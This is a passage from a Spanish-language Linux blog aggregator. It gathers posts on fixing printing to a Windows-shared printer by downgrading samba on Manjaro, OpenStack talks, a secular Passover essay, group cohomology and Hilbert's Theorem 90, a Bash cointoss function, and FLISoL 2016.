
The post IPCop sin internet ¡Un misterio por resolver! appeared first on #LINUXMANR4.

Planeta Gruslic: Max Valdez: honeypot para web: glastopf sobre raspberry pi

Martes 03 de mayo de 2016

Fco. de la Torre Inguanzo

Fco. de la Torre Inguanzo
Linux y Software Libre – #LINUXMANR4

Problemas al imprimir en una impresora compartida en windows desde linux

Después de la última actualización de Manjaro tuve serios problemas al  imprimir en una impresora compartida en windows desde linux.

En un principio no supe qué pasó, después de todo no le había movido para nada a la configuración y antes de actualizar estaba imprimiendo muy bien. Pero cada vez que mandaba un trabajo a imprimir invariablemente me pedia usuario y contraseña.

Se requiere autenticación para la impresión del documentoNo importa lo que pusiera, no pasaba de esta pantalla.

No importa que pusiera, simplemente no podía avanzar de esta pantalla. La página de administración de CUPS me dio otra pista.

NT_STATUS_ACCESS_DENIEDNT_STATUS_ACCESS_DENIED mmm, eso no suena bien.

Anteriormente ya había tenido problemas para  imprimir después de una actualización en Manjaro, pero esto se estaba complicando demasiado.

Rumba, Samba, Mambo !!!

Llegué a la conclusión de que el problema era Samba y es que, aunque no es obligatorio instalar Samba para navegar por carpetas compartidas de Windows, si se requiere si necesitas imprimir en una impresora compartida en una computadora que tiene Windows, cosas del CUPS y así.

Busqué problemas de configuración y nada, de hecho, me di cuenta de que tampoco podía acceder a las carpetas compartidas de otras máquinas con windows.

Dejé pasar unos días y aunque encontraba en los foros algún comportamiento similar al mío no daba con una solución al problema.

Bichos, bichos everywhere …

Fue hasta que encontré este reporte de bug en el que todo tomó sentido FS#48987 – [smbclient] Unable to connect to a samba share with a file browser with 4.4.2-1 ¡Y ahí estaba todo claro! justo era la versión de samba (o en este caso smbclient) que estaba utilizando. La solución era sencilla, hacer un downgrade a los paquetes involucrados.

Primero quise hacer un downgrade a los paquetes smbclientlibwbclient , pero no se dejó debido a un problema de dependencias con el paquete samba. Así que primero tuve que desinstalar samba.

sudo pacman -R samba
Ahora si no tuve problemas para hacer el downgrade de los otros paquetes:
downgrade smbclient
y
downgrade libwbclient
Como para poder imprimir sigo necesitando samba, en lugar de instalarlo, utilizo el mismo downgrade para instalarlo.
downgrade samba
Y elijo en todos los casos la versión 4.4.0-1 que es la que no tiene problemas. Esto último es muy importante.

Instalando samba en la versión correctaEsta es la buena !!!

Al final les pregunta si quieren agregar esos paquetes a una lista que evita que se actualicen, así que le respondí que sí, después de todo, si esta funcionando no veo la razón para actualizar.

Para estar seguro de que todos los cambios se aplicaran reinicié mi equipo, mandé imprimir y listo!!!! todo regresó a la normalidad.

Encontrarse con este tipo de bugs es lo que se gana uno por usar una distribución de linux rolling release como lo es Manjaro, pero aún así no lo cambio por nada. 🙂

 

The post Problemas al imprimir en una impresora compartida en windows desde linux appeared first on #LINUXMANR4.

Domingo 01 de mayo de 2016

Promoviendo Software Libre: Instalación de Wordpress en GNU/Linux

Lunes 25 de abril de 2016

Gerónimo Orozco

Gerónimo Orozco
Patux's booring news

(Sin Título)

Registrate




Siempre han existido dudas respecto OpenStack y containers. Lo importante aquí es dejar en claro que ya se encuentra en etapa de desarrollo una herramienta que ofrece este tipo de servicios para el desarrollo de aplicaciones en una nube de OpenStack. Magnum ofrece motores de orquestación para hacer deployment y manejo de contenedores en OpenStack. Y ofrecerlos de este modo a los usuarios de la nube. Se hablaría de sus componentes y pasos básicos de configuración, y si se puede, un ejemplo práctico, si no, pantallazos practicos.

Gerónimo Orozco

Gerónimo Orozco
Patux's booring news

Deploying my first OpenStack app

Registrate


Esta vez Marcela Bonell @mbonell miembro de la comunidad de UX de OpenStack nos dara un tutorial para crear nuestra primera app usando una nube OpenStack.

My First App es un tutorial disponible en el portal de developers de OpenStack que sirve como guía para desarrolladores que quieren crear aplicaciones que corran sobre OpenStack.

En esta sesión los asistentes conocerán los diferentes SDK’s disponibles para desarrollar apps, interactuarán con OpenStack a través de Shade (Python SDK ) y harán el deploy de "My First App” en TryStack http://trystack.org/.

Pre-requisitos:
Gunnar Wolf

Gunnar Wolf
Gunnar Wolf

Passover / Pesaj, a secular viewpoint, a different viewpoint... And slowly becoming history!

As many of you know (where "you" is "people reading this who actually know who I am), I come from a secular Jewish family. Although we have some religious (even very religious) relatives, neither my parents nor my grandparents were religious ever. Not that spirituality wasn't important to them — My grandparents both went deep into understanding by and for themselves the different spiritual issues that came to their mind, and that's one of the traits I most remember about them while I was growing up. But formal, organized religion was never much welcome in the family; again, each of us had their own ways to concile our needs and fears with what we thought, read and understood.

This week is the Jewish celebration of Passover, or Pesaj as we call it (for which Passover is a direct translation, as Pesaj refers to the act of the angel of death passing over the houses of the sons of Israel during the tenth plague in Egypt; in Spanish, the name would be Pascua, which rather refers to the ritual sacrifice of a lamb that was done in the days of the great temple)... Anyway, I like giving context to what I write, but it always takes me off the main topic I want to share. Back to my family.

I am a third-generation member of the Hashomer Hatzair zionist socialist youth movement; my grandmother was among the early Hashomer Hatzair members in Poland in the 1920s, both my parents were active in the Mexico ken in the 1950s-1960s (in fact, they met and first interacted there), and I was a member from 1984 until 1996. It was also thanks to Hashomer that my wife and I met, and if my children get to have any kind of Jewish contact in their lifes, I hope it will be through Hashomer as well.

Hashomer is a secular, nationalist movement. A youth movement with over a century of history might seem like a contradiction. Over the years, of course, it has changed many details, but as far as I know, the essence is still there, and I hope it will continue to be so for good: Helping shape integral people, with identification with Judaism as a nation and not as a religion; keeping our cultural traits, but interpreting them liberally, and aligned with a view towards the common good — Socialism, no matter how the concept seems passé nowadays. Colectivism. Inclusion. Peaceful coexistence with our neighbours. Acceptance of the different. I could write pages on how I learnt about each of them during my years in Hashomer, how such concepts striked me as completely different as what the broader Jewish community I grew up in understood and related to them... But again, I am steering off the topic I want to pursue.

Every year, we used to have a third Seder (that is, a third Passover ceremony) at Hashomer. A third one, because as tradition mandates two ceremonies to be held outside Israel, and a movement comprised of people aged between 7 and 21, having a seder competing with the familiar one would not be too successful, we held a celebration on a following day. But it would never be the same as the "formal" Pesaj: For the Seder, the Jewish tradition mandates following the Hagada — The Seder always follows a predetermined order (literally, Seder means order), and the Hagadá (which means both legend and a story that is spoken; you can find full Hagadot online if you want to see what rites are followed; I found a seemingly well done, modern, Hebrew and English version, a more traditional one, in Hebrew and Spanish, and Wikipedia has a description including its parts and rites) is, quite understandably, full with religious words, praises for God, and... Well, many things that are not in line with Hashomer's values. How could we be a secular movement and have a big celebration full with praises for God? How could we yearn for life in the kibbutz distance from the true agricultural meaning of the celebration?

The members of Hashomer Hatzair repeatedly took on the task (or, as many would see it, the heresy) of adapting the Hagada to follow their worldview, updated it for the twentieth century, had it more palatable for our peculiarities. Yesterday, when we had our Seder, I saw my father still has –together with the other, more traditional Hagadot we use– two copies of the Hagadá he used at Hashomer Hatzair's third Seder. And they are not only beautiful works showing what they, as very young activists thought and made solemn, but over time, they are becoming historic items by themselves (one when my parents were still young janijim, in 1956, and one when they were starting to have responsabilities and were non-formal teachers or path-showers, madrijim, in 1959). He also had a copy of the Hagadá we used in the 1980s when I was at Hashomer; this last one was (sadly?) not done by us as members of Hashomer, but prepared by a larger group between Hashomer Hatzair and the Mexican friends of Israeli's associated left wing party, Mapam. This last one, I don't know which year it was prepared and published on, but I remember following it in our ceremony.

So, I asked him to borrow me the three little books, almost leaflets, and scanned them to be put online. Of course, there is no formal licensing information in them, much less explicit authorship information, but they are meant to be shared — So I took the liberty of uploading them to the Internet Archive, tagging them as CC-0 licensed. And if you are interested in them, flowing over and back between Spanish and Hebrew, with many beautiful texts adapted for them from various sources, illustrated by our own with the usual heroic, socialist-inspired style, and lovingly hand-reproduced using the adequate technology for their day... Here they are:

I really enjoyed the time I took scanning and forming them, reading some passages, imagining ourselves and my parents as youngsters, remembering the beautiful work we did at such a great organization. I hope this brings this joy to others like it did to me.

פעם שומר, תמיד שומר. Once shomer, always shomer.

Eduardo Ruiz Duarte

Eduardo Ruiz Duarte
Beck's blog

Cohomología de grupos

Queremos estudiar el la jacobiana $latex \mathbb{J}_{\mathbb{F}_q}(\mathcal{C})$ de una curva $latex \mathcal{C}$ hiperelíptica de género 2 con puntos $latex [f(t),g(t)] \in \mathcal{C}(\mathbb{F}_{q}(t))$, es decir en el campo de funciones racionales en una variable con coeficientes en $latex \mathbb{F}_q$, esto es para darle más estructura a la curva ya que en cierta extensión de $latex \mathbb{F}_q$ tendremos que será isomorfa a $latex \mathcal{C}(\mathbb{F}_q)$ porque ambas tendrán el mismo $latex j-$invariante, a esta nueva curva en la extensión del campo se le llama el twist de $latex \mathcal{C}$, más adelante veremos como usar el $latex \j-$invariante para clasificar curvas, pero primero necesitamos las herramientas necesarias, todo esto con el fin de poder demostrar el teorema de Hasse-Weil de una forma distinta el cual tiene aplicaciones importantes en criptografía con curvas algebraicas.


Sea $latex G$ un grupo finito y sea $latex M$ un grupo abeliano en el cual $latex G$ actúa, denotamos a la acción de $latex \sigma \in G$ en $latex m\in M$ por $latex m \rightarrow m^\sigma$.

Sean $latex m,n\in M$, entonces decimos que $latex M$ es un $latex G-$módulo derecho si la acción de $latex G$ en $latex M$ satisface:


$latex m^e = m$              $latex (m+n)^\sigma = m^\sigma + n^\sigma$            $latex (m^\sigma)^\tau = m^{\sigma\tau}$


Si $latex M,G$ son $latex G-$módulos, un $latex G-$homomorfismo es un homomorfismo de grupos abelianos $latex \phi:M\rightarrow N$ que conmuta con la acción de $latex G$, en símbolos:

$latex \phi(m^\sigma)=\phi(m)^\sigma$    $latex \forall m\in M$ y $latex \sigma \in G$


Definimos el 0-ésimo grupo de cohomología del $latex G-$módulo $latex M$ 

$latex H^0(G,M)=\lbrace m\in M : m^\sigma = m$    $latex \forall \sigma \in G \rbrace$


Es decir, es el submódulo de $latex M$ que tiene todos los elementos que son invariantes bajo los elementos de $latex G$, recuerden que este $latex G$ puede ser un grupo de automorfismos por ejemplo.

Recordemos que un complejo de co-cadenas es una sucesión de grupos abelianos o de módulos $latex (M_\bullet,d_\bullet)$ que están conectados por homomorfismos $latex d_{i}:M^i \rightarrow M^{i+1}$ llamados operadores de cofrontera, ya que pedimos que $latex d^{n+1}\circ d^n = 0$   $latex \forall n$ , esto es dual con los complejos de cadena, solo que en homología los operadores de frontera decrementan la dimensión mientras que en co cadenas la aumentan. 

$latex ... \rightarrow M^{-2} \xrightarrow{d_{-2}} M^{-1} \xrightarrow{d_{-1}} M^0 \xrightarrow{d_0} M^1 \xrightarrow{d_1}  ... \rightarrow M^{n-1} \xrightarrow{d_{n-1}}M^n\rightarrow ...$

Una propiedad básica de esto es que si tenemos una sucesión exacta de $latex G-$módulos, otra sucesión exacta.

Es decir

$latex 0\rightarrow P \xrightarrow{\phi} M \xrightarrow{\psi} N \rightarrow 0$

Tenemos que también es exacta


$latex 0\rightarrow H^0(G,P)\rightarrow H^0(G,M)\rightarrow H^0(G,N)$

Pero el mapeo último no será suprayectivo, para medir que "tan no suprayectivo" es, vamos a definir la parte de cohomología de grupos.


Definición: Sea $latex M$ un $latex G-$módulo, el grupo de n-cocadenas de $latex G$ a $latex M$ es:

$latex C^n(G,M)=\lbrace \omega:G^n\rightarrow M \rbrace$

Es decir, son todos los mapeos de $latex G^n$ a $latex M$


Definición: Decimos que el i-ésimo diferencial 

$latex d^{i}_{M}:C^i(G,M)\rightarrow C^{i+1}(G,M)$

Es el mapeo.

$latex d^i(f)(g_0,g_1,...,g_i)=$
$latex g_0 f(g_1,...,g_i)+\displaystyle \sum_{j=1}^i {(-1)^j f(g_0,...,g_{j-1}g_j,g_{j+1},...,g_i) } + (-1)^{i+1}f(g_0,...,g_{i-1})$

Esta función está pensada para que funcione como un operador de co-frontera, y que anule su diferencial en una dimensión más baja, asó como en homología, y podamos construir sucesiones exactas, es decir.

$latex d^{i+1} \circ d^i = 0$


Definición: El grupo n-cociclos de $latex G$ a $latex M$ (con coeficientes en $latex M$) es:

$latex Z^n(G,M)=ker(d^n)$

Definición: El grupo de n-cofronteras

$latex B^n(G,M)=im(d^{n-1})$ para $latex n\geq 1$

y para $latex n=0$ 

$latex B^0(G,M)=0$

Bueno... hasta ahora qué tanto tenemos?

Recordemos que   $latex d^{i+1} \circ d^i = 0$  por lo que es fácil notar que $latex C^{\bullet}(G,M)=(C^i(G,M),d^i)$ es un complejo de co-cadenas y entonces como $latex B^i(G,M)\leq Z^i(G,M)$ podemos definir el n-ésimo grupo de cohomología

$latex H^n(G,M)=Z^n(G,M)/B^n(G,M)$

Este grupo medirá qué tan alejado está un complejo de cadenas de ser exacto.

Una cosa importante en cohomología es que convierte una sucesión exacta corta de $latex G-$módulos en una sucesión exacta larga de grupos abelianos.

A nosotros nos interesa mucho $latex H^0(G,M)$ el cuál ya definimos y $latex H^1(G,M)$

Por lo que podemos ver que:

$latex H^0(G,M)=M^G$ es decir son los $latex G-$invariantes

ya que: 

Si $latex m\in M$ entonces $latex d^0(m)(g)=gm-m$ por lo que $latex ker(d_0)=M^G$

También tenemos que

$latex Z^1(G,M)=\lbrace f:G\rightarrow M \mid f(gh)=gf(h)+f(g) \rbrace$

Esto es fácil de ver también directamente de la definición... otra cosa que hay que observar es que si la acción de $latex G$ es trivial entonces

$latex H^0(G,M)=M$ y $latex H^1(G,M)=Mor(G,M)$ 

lo cual también es evidente.


Espero les haya servido.



Eduardo Ruiz Duarte (beck)
twitter: @toorandom


Viernes 22 de abril de 2016

Cointoss en Bash

cointoss() {
    # Probability is $1/$2, for example, cointoss 3 5
    # will hit 60% of the time. Defaults to 1/2 if no
    # arguments are supplied.
    [ $((RANDOM % ${2-2})) -lt ${1-1} ];
}

Miércoles 20 de abril de 2016

Alex Callejas

Alex Callejas
|rootzilopochtli.com|

FLISol 2016

El Festival Latinoamericano de Instalación de Software Libre (FLISoL), es el mayor evento de difusión del Software Libre que se realiza desde el año 2005 en diferentes países de manera simultánea. Es una oportunidad para todas aquellas personas interesadas en conocer más acerca del software libre. Participando es posible entrar en contacto con el mundo del software libre, conocer a otros usuarios, resolver dudas e interrogantes, intercambiar opiniones y experiencias; asistir a charlas y otras actividades programadas. Como es de suponer, la asistencia al evento es totalmente libre y gratuita.

Personalmente, es un evento al que me gusta asistir y ayudar a toda la gente que quiere acercarse al Software Libre.

Para esta edición, inicialmente, estaré dando una plática-taller de Seguridad y Hardening en la FES Acatlán, el próximo viernes 22 de Abril, a las 9 AM. Les comparto la página oficial de la sede, para que chequen todas las actividades que se están realizando esta semana.

Espero me puedan acompañar 🙂

FLISoL-2015

Martes 19 de abril de 2016

Eduardo Ruiz Duarte

Eduardo Ruiz Duarte
Beck's blog

Parametrización racional de curvas con teoría de Galois

El siguiente teorema me parece que es de las cosas más importantes en álgebra, y es debido a David Hilbert e hizo nacer la teoría de Kummer, pero en eso no entraremos.

Veremos cómo encontrar puntos racionales del círculo geométricamente y cómo hacerlo puramente algebraico.

El teorema se puede explicar con un poco de teoría algebraica de números y teoría de Galois, lo que trataré de resumir en el contexto de este teorema sólo para poder entenderlo de manera informal.

Nota importante:
Si no entienden el siguiente teorema, no importa, no se asusten ni dejen de leer los interesados, todo este post será dedicado a explorar cada concepto, hablaremos un poco de teoría de Galois, de Normas, Trazas y extensiones de campos, y veremos que este teorema inofensivo nos ayudará con muchos problemas geométricos.

Teorema 90 (David Hilbert)
Sea $latex L/K$ una extensión de campos cuyo grupo de Galois  $latex G:=Gal(L/K)=Aut_{K}(L) =\langle \sigma \rangle$ es cíclico y si $latex x\in L$ tiene norma $latex 1$, es decir $latex N_{L/K}(x)=1$ , entonces existe $latex y\in L$ con $latex x = \frac{\sigma(y)}{y}$

Seguramente hay muchas dudas, ¿por qué es tan importante?, vamos a analizar un problema, que es el de encontrar puntos con coordenadas racionales en una circunferencia, es decir con coordenadas $latex (\frac{a}{b},\frac{c}{d})$ con $latex a,b,c,d\in \mathbb{Z}$

Ejemplo para motivación 

Todos sabemos que la parametrización de una circunferencia de radio 1 está dada por los puntos $latex (cos(\theta),sen(\theta) )$ con un parámetro $latex \theta$, ya que tenemos el teorema de Pitágoras que nos dice en este contexto que $latex cos^2(\theta) + sen^2(\theta)=1$ es decir, el coseno es el lado en $latex x$ y el seno el lado en $latex y$ de todos los posibles triángulos rectos cuyo ángulo en el origen es $latex \theta$ con hipotenusa $latex 1$ forma una familia infinita de triángulos que está parametrizada por una sóla variable $latex \theta$, por lo que decimos que la circunferencia es un objeto geométrico de dimensión 1.

 Las coordenadas $latex (cos(\theta),sen(\theta))$ justamente por la hipotenusa estar fijada a 1, formarían todos los puntos de una circunferencia de radio 1.

Es decir, el círculo está definido justamente por triángulos de hipotenusa 1 (en rojo), con su lado en la base $latex x=cos(\theta)$  y en su altura $latex y=sen(\theta)$ por lo que es el conjunto de puntos en el plano tal que $latex x^2 + y^2 = 1$.


Ahora, pero como algebrista, a mi me interesan los puntos racionales de esa circunferencia, es decir, todos los puntos cuyas coordenadas son puntos racionales, es decir cuando los puntos del círculo
$latex (x,y) \in\mathbb{Q}\times\mathbb{Q}$, queremos excluir puntos como $latex (\frac{1}{\sqrt{2}},\frac{1}{\sqrt{2}})$  o $latex (\frac{\sqrt{3}}{2},\frac{1}{2})$  que respectivamente corresponden cuando el ángulo del eje $latex x$ y la hipotenusa es $latex 45^{o}=\frac{\pi}{4}$ y $latex 30^{o}=\frac{\pi}{6}$ que claramente pertenecen al círculo pero tienen componentes irracionales.

Si queremos localizar puntos racionales, primero nos aseguramos de conocer un punto racional (por ejemplo el $latex (-1,0)$ ,  después construimos la recta que pasa por $latex (-1,0)$ y un punto en general $latex (x,y)$, es decir, vamos a variar la pendiente $latex t$ de la recta que pasa por $latex (-1,0)$ , al final, al tener este haz de rectas parametrizadas por su pendiente $latex t$  para todo $latex t \in \mathbb{Q}$ vamos a intersectar esta recta con el círculo y ver qué nos da, es decir, vamos a buscar todas las intersecciones de las rectas fijadas en un punto racional del círculo y con pendiente racional, a ver si de pura coincidencia nos da un punto racional del círculo. 

La idea visual es ésta:



La recta que pasa por $latex (-1,0)$ y con pendiente parametrizada por $latex t$ está dada entonces por $latex y = t(x+1)$ , es fácil ver que esta familia de rectas para todo $latex t\in\mathbb{Q}$ son las rectas verdes en el dibujo de arriba que pasan con $latex (-1,0)$

Por otro lado, tenemos que como explicamos anteriormente, la ecuación del círculo algebraica está dada por todos los puntos $latex (x,y)$ cuya suma de sus cuadrados nos da una hipotenusa de tamaño 1, es decir $latex x^2 + y^2 = 1$.

Con esto, vamos a introducir la familia de rectas paramétrizadas por la pendiente dentro del círculo, sí, esto es que si las rectas son $latex y=t(x+1)$ entonces $latex y^2 = (t(x+1))^2$ , y si intersectamos este conjunto de soluciones en el plano con el conjunto de soluciones en el círculos nos queda $latex x^2 + t^2(x+1)^2 = 1$  que es una ecuación cuadrática, y de hecho representa explícitamente al polinomio $latex (t^2 + 1)x^2 + 2t^2x+t^2-1$.

Tenemos que este polinomio tiene como raíces a la $latex x=-1$ que ya conociamos, y también a $latex x=\frac{1-t^2}{1+t^2}$ lo cual suena ya interesante.

En otras palabras, el haz de rectas choca con el círculo en $latex x=-1$ y en $latex x= \frac{1-t^2}{1+t^2}$.

Vamos a despejar la $latex y$ en la familia de rectas dada esta nueva $latex x=\frac{1-t^2}{1+t^2}$ que obtuvimos al intersectar con el círculo y obtenemos $latex y=\frac{2t}{1+t^2}$, con esto tenemos que estas dos ecuaciones como son parte del círculo y una recta racional, pues nos dieron por suerte una función racional, por lo que  la ecuación del círculo funciona con estas soluciones, $latex \Big (\frac{1-t^2}{1+t^2}\big)^2 + \Big(\frac{2t}{1+t^2}\big)^2=1$ que es fácil verificar, y tenemos una nueva parametrización con números racionales del círculo, dada por todos los puntos $latex \Big(\frac{1-t^2}{1+t^2},\frac{2t}{1+t^2}\Big)\in \mathbb{Q}\times\mathbb{Q}$ con $latex t\in\mathbb{Q}$.


¿Qué tiene que ver este ejemplo con el Teorema 90?

Vamos a contextualizar el ejemplo con las hipótesis, y ver ¿cuándo podemos parametrizar con funciones racionales? , ya que no siempre se puede hacer esto, el Teorema 90 de Hilbert nos puede decir en qué casos conviene buscar esta parametrización, y en qué caso, simplemente... no existe de manera natural (a veces existe con otras funciones modulares, o en otros espacios).

Para ello necesitamos un poco de teoría.


Embarrada de Teoría de Galois en este contexto y grupo Gal(L/K)


Vamos a describir unos ejemplos, y definiciones, sin rigor, sólo queremos por ahora entender lo que nos dice el teorema 90 de Hilbert.

Tenemos que el campo en el que trabajamos es el de los racionales $latex \mathbb{Q}$ , vamos a extenderlo a que incluya el nuevo entero algebraico $latex i$ donde $latex i^2 = -1$, por lo que tenemos.

$latex \mathbb{Q}(i) = \lbrace a+ib : x,y\in\mathbb{Q} \rbrace$

Este como pueden observar es un espacio vectorial sobre $latex \mathbb{Q}$ , son los números complejos racionales.

Vamos a ver qué es una extensión de campos pero antes una nota de cómo construir este espacio algebraicamente, ya que de esto se trata esto... de álgebra, después entraremos a la parte de extensiones de campos y teoría de Galois.

Nota de construcción algebraica de $latex \mathbb{Q}(i)$ para interesados, si no te interesa puedes omitir este párrafo: 
Decimos que $latex i \in \mathbb{Q}(i)$ es un entero algebraico sobre $latex \mathbb{Q}$ ya que podemos construir este nuevo campo tomando el anillo de polinomios con coeficientes en $latex \mathbb{Q}$ módulo el ideal máximo generado por el polinomio irreducible con coeficientes en $latex \mathbb{Q}$ que tiene como raíz a $latex i$ , y esto es:  $latex \mathbb{Q}(i) = \mathbb{Q}[X]/\langle X^2 + 1 \rangle = \lbrace a+bX : X^2 + 1 = 0\rbrace$.
La última construcción simplemente por el hecho de que $latex \mathbb{Q}[X]$ es un anillo (dominio euclídeo) , podemos usar el algoritmo de la división (como en la prepa la división sintética) y sólo dice que $latex \mathbb{Q}[X]/\langle X^2 + 1 \rangle$ son todos los polinomios en una variable módulo $latex X^2 + 1$ , lo que significa que todos los de la forma $latex g(X)(X^2 + 1)\equiv 0 \bmod X^2 + 1$,  y como es un dominio entero si $latex g(X)\neq 0$ entonces eso implica que $latex X^2 = -1$ por lo que la variable $latex X$ en esta construcción actúa como la $latex i$ imaginaria, y así se construyen los números complejos algebraicamente.

Tenemos que la extensión de campos $latex \mathbb{Q}(i)/\mathbb{Q}$ como su construcción depende de un polinomio de grado 2 como lo hicimos anteriormente (no se puede con grado 1 ya que el campo resultante sería $latex \mathbb{Q}$ ) es un espacio vectorial de dimensión 2 con base $latex \lbrace 1,i \rbrace$.

Esta extensión $latex \mathbb{Q}(i)/\mathbb{Q}$ es normal lo que quiere decir que todos los polinomios irreducibles con coeficientes en el campo chico, es decir $latex \mathbb{Q}[X]$ que tienen alguna raiz en $latex \mathbb{Q}(i)$ entonces tienen todas ahí, en este caso es fácil, ya que si un polinomio cuadrático lo puedes factorizar, entonces lo puedes factorizar con factores lineales.

Un antiejemplo de extensión normal sería $latex \mathbb{Q}(\sqrt[3]{2})\cong \mathbb{Q}[X]/\langle X^3 -2 \rangle$  sobre $latex \mathbb{Q}$, ya que $latex X^3 - 2$ tiene como raíz $latex \alpha=\sqrt[3]{2}\ $ y también tiene $latex \alpha\omega$ donde $latex \omega = e^{\frac{2\pi i}{3}}$  y pues $latex \omega \notin \mathbb{Q}(\sqrt[3]{2})$.

Regresando a $latex \mathbb{Q}(i)/\mathbb{Q}$  donde aparte de ser una extensión normal tenemos que también es una extensión separable, lo que significa que para todo $latex \beta \in \mathbb{Q}(i)$ tenemos que el polinomio de grado mínimo de $latex \beta$ sobre $latex \mathbb{Q}$,  $latex f(X)$   (es decir tal que $latex f(\beta)=0$) , tiene raíces diferentes.

Un antiejemplo de un polinomio separable sería el polinomio $latex X^3 - 2 \in \mathbb{F}_3[X]$ (con coeficientes en el campo finito de 3 elementos), ya que   $latex X^3 - 2=(X+1)^3$ en ese campo, por lo que tiene una raíz triple.

Es fácil demostrar formalmente ya con estas observaciones que $latex \mathbb{Q}(i)/\mathbb{Q}$ es una extensión de campos separable y normal , por lo que decimos que la extensión es Galois.

Estas extensiones $latex L/K$ se les puede asociar un grupo , que es el Grupo de Galois, este grupo está formado por todos los Automorfismos de $latex L$, (isomorfismos de $latex \psi:L\rightarrow L$) tal que dejan a $latex K$ fijo, es decir, que $latex \psi(K)=K$, cuya operación naturalmente es la composición de funciones, el hecho de considerar que fijen a $latex K$ sirve para tomar los automorfismos interesantes, es decir, que nos permitan estudiar a $latex L$ con respecto a $latex K$.

Este grupo mide la simetría de la extensión de campos, y de hecho el numero de elementos en el grupo de Galois, está acotado por $latex [L:K]!$ es decir, por el factorial del grado de la extensión (el caso de extensión de grado infinito existe, como por ejemplo $latex \bar{\mathbb{Q}}/\mathbb{Q}$, y obviamente es un resultado diferente pero no lo necesitamos aquí)

En el caso de  $latex \mathbb{Q}(i)/\mathbb{Q}$  tenemos que el grado de la extensión es 2, y lo denotamos por $latex [\mathbb{Q}(i):\mathbb{Q}]=2$ (hay teoremas que te dicen cómo acotar también por el grado del polinomio mínimo, en este caso el polinomio mínimo de $latex i$ tiene grado 2) por lo que $latex |Gal(\mathbb{Q}(i)/\mathbb{Q})|=2$.

De hecho, tenemos que $latex id\in Gal(\mathbb{Q}(i)/\mathbb{Q})$ por lo que ya tenemos un elemento de este grupo de Galois, ya que la identidad es un automorfismo.

El otro elemento es un $latex \psi:\mathbb{Q}(i)\rightarrow \mathbb{Q}(i)$ tal que si $latex z=a+bi\in \mathbb{Q}(i)$ entonces $latex \psi(z)=\psi(a)+\psi(bi)=a+b\psi(i)$ ya que $latex a,b\in\mathbb{Q}$ y $latex \psi$ es un automorfismo, y como mencionamos anteriormente $latex \psi(\mathbb{Q})=\mathbb{Q}$.

Por otro lado tenemos que $latex i^2 = -1$ por lo que $latex \psi(-1)=\psi(i^2)=\psi(i)\psi(i)=\psi^{2}(i)=-1$, esto implica que $latex \psi(i)=\pm i$ , ya que $latex (-i)(-i)=-1$ y $latex (i)(i)=-1$ .

Para la opción de $latex \psi$ tal que $latex \psi(i)=id(i)=i$ tenemos ya a la identidad, pero la otra opción $latex \psi(i)=-i$ tenemos ya el otro automorfismo, que es la conjugación por lo que.

$latex Gal(\mathbb{Q}(i)/\mathbb{Q})=\lbrace id,\psi \rbrace$.

Y como es un grupo de grado primo (2) , es cíclico, es decir está generado por 1 sólo elemento, en este caso la conjugación, ya que $latex \psi \circ \psi = id$ 

Normas y trazas 
  
Para terminar de entender el Teorema 90 nos hace falta lo que es la norma.
Esto ya lo expliqué en otro post en mi blog aquí, pero doy un resumen en este contexto.

Lo que queremos es definir una manera de poder medir a los elementos de un campo $latex L$ con respecto a un valor en $latex K$ para una extensión de campos $latex L/K$

Considera la extensión $latex L/K$ y define los siguientes $latex K$-endomorfismos de $latex L\rightarrow L$ para todo elemento $latex \alpha \in L$

$latex \mu_\alpha : L\rightarrow L$
$latex z \mapsto \alpha z$

Es decir, es sólo multiplicar cualquier elemento $latex z\in L$ por $latex \alpha \in L$ , lo cual claramente es $latex K-$lineal, es decir $latex \mu_\alpha(z_1+z_2)=\mu_\alpha(z_1)+\mu_\alpha(z_2)$, por lo que le podemos asociar una matriz a $latex \mu_\alpha$, y tenemos entonces que la norma de $latex x\in L$ es:

$latex N_{L/K}(x) = det(\mu_x) \in K$
$latex Tr_{L/K}(x) = Tr(\mu_x) \in K$

Es claro que $latex N_{L/K}(xy)=N_{L/K}(x)N_{L/K}(y)$ y $latex Tr_{L/K}(x+y)=Tr_{L/K}(x)+Tr_{L/K}(y)$ por propiedades de determinantes.

Ejemplo. en $latex \mathbb{Q}(\sqrt{2})/\mathbb{Q}$

Sea $latex \mathbb{Q}(\sqrt{2})/\mathbb{Q}$ , y como espacios vectoriales fijemos la base $latex \lbrace 1, \sqrt{2} \rbrace$, entonces tenemos que si $latex \alpha=a+b\sqrt{2}\in \mathbb{Q}(\sqrt{2})$ entonces tenemos que las columnas de la matrix definida por la multiplicación por $latex \alpha$ , es decir la matriz asociada a $latex \mu_\alpha$ la podemos armar evaluando en los elementos de la base: 

$latex \mu_\alpha(1) = a+b\sqrt{2}$
$latex \mu_\alpha(\sqrt{2}) = 2b+ a\sqrt{2}$

Por lo que:

$latex \mu_\alpha = \mu^{*}_\alpha = \begin{pmatrix} a &2b \\ b & a \end{pmatrix}$

Es fácil ver que si para $latex \alpha=a+b\sqrt{2}\in \mathbb{Q}(\sqrt{2})$ multiplicamos la matriz $latex \mu^{*}_\alpha$ por cualquier elemento $latex x+y\sqrt{2}\in \mathbb{Q}(\sqrt{2})$ nos da el mapeo de multiplicación por $latex \alpha$, $latex \mu_\alpha$

Es decir:

$latex \mu^{*}_\alpha \begin{pmatrix}x \\ y\end{pmatrix} = \begin{pmatrix} a &2b \\ b & a \end{pmatrix}\begin{pmatrix}x \\ y\end{pmatrix}=(ax+2by,bx+ay)$

El cual un cálculo rápido verifica que es lo mismo que esta matriz es lo mismo que el mapeo:

$latex \mu_\alpha(x+y\sqrt{2}) = \alpha(x+y\sqrt{2})=(a+b\sqrt{2})(x+y\sqrt{2}) =ax + 2by + (bx+ay)\sqrt{2}$ 

Por lo que tenemos que la norma y traza de $latex \alpha=a+b\sqrt{2}\in \mathbb{Q}(\sqrt{2})$ es:

$latex N_{\mathbb{Q}(\sqrt{2})/\mathbb{Q})}(\alpha)=det(\mu^{*}_\alpha)=a^2-2b^2$
$latex Tr_{\mathbb{Q}(\sqrt{2})/\mathbb{Q})}(\alpha)=Tr(\mu^{*}_\alpha)=2a$


Ejemplo. en $latex \mathbb{Q}(i)/\mathbb{Q}$

No vamos a hacer el detalle aquí , pero tenemos que si usamos la base de $latex \mathbb{Q}(i)/\mathbb{Q}$ dada por $latex \lbrace 1,i \rbrace$ tenemos que para $latex \alpha=a+bi$ la matriz de la multiplicación por $latex \alpha$ 

$latex \mu_{\alpha}:\mathbb{Q}(i) \rightarrow \mathbb{Q}$
$latex z \mapsto \alpha z$

